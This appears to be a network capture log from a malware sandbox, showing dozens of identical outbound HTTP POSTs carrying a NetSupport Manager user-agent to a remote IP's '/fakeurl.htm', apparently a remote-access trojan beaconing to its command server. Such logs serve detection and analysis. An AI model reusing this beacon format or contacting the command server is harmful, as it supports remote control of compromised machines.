Dec 6, 2024 10:40:38.281498909 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.383368969 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.483608007 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.583661079 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.684489965 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.784478903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.885472059 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:38.987410069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.086468935 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.187465906 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.288485050 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.389611959 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.490549088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.591468096 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.691545010 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.792464018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.892496109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:39.992530107 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.093466043 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.193459034 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.296081066 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.396476030 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.497514009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.601334095 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.699517012 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.798501015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.898525000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:40.999511957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.100487947 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.201478958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.301562071 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.401534081 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.502511024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.603508949 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.703505993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.804497957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:41.905478954 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.005498886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.106519938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.206533909 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.306647062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.407605886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.507575035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.611370087 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.711370945 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.809680939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:42.911412001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.011374950 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.109532118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.209542990 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.310486078 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.411530018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.512552977 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.612500906 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.713551998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.813534021 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:43.913485050 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.015263081 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.114494085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.214488983 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.314486980 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.415611982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.517340899 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.615511894 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.717350006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.816504002 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:44.919356108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.017625093 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.118556023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.219547033 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.319542885 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.420566082 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.521536112 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.622613907 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.722632885 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.823553085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:45.924527884 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.029385090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.129096985 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.229362965 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.329354048 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.431371927 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.531428099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.630589962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.730709076 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.831527948 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:46.935460091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.040637970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.140511990 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.241542101 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.341572046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.441543102 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:40:47.541549921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
